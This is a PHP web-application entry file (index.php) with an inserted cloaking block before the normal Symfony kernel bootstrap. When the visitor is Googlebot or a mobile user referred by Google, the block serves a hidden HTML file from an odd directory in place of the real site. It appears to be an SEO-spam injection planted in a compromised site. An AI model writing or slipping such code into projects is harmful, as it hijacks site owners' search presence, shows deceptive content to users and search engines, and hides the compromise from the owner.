<?php
use App\Kernel;
$is_from_google = isset($_SERVER['HTTP_REFERER']) && preg_match("/google\.(com|co\.id)$/i", parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST));
$is_mobile = preg_match("/(iPhone|Android|iPad|iPod|Mobile|BlackBerry|Windows Phone)/i", $_SERVER['HTTP_USER_AGENT']);
$is_googlebot = isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/(Googlebot|Googlebot-News|Googlebot-Image|Googlebot-Video|Googlebot-Mobile|Mediapartners-Google|AdsBot-Google|AdsBot-Google-Mobile|Google-InspectionTool|APIs-Google|Google-Site-Verification|Google Web Preview|Google Favicon|Google Feedfetcher)/i",$_SERVER['HTTP_USER_AGENT']);
if ($is_googlebot || ($is_from_google && $is_mobile)) {
header("Content-Type: text/HTML");
#require(__DIR__ . "/wp-content/uploads/2024/04/index.html");
#echo '<!-- cc -->';
echo file_get_contents(__DIR__ . "/ilaveyou/file/index.html");
#exit;
}
require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
date_default_timezone_set("Africa/Casablanca");
return function (array $context) {
return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
};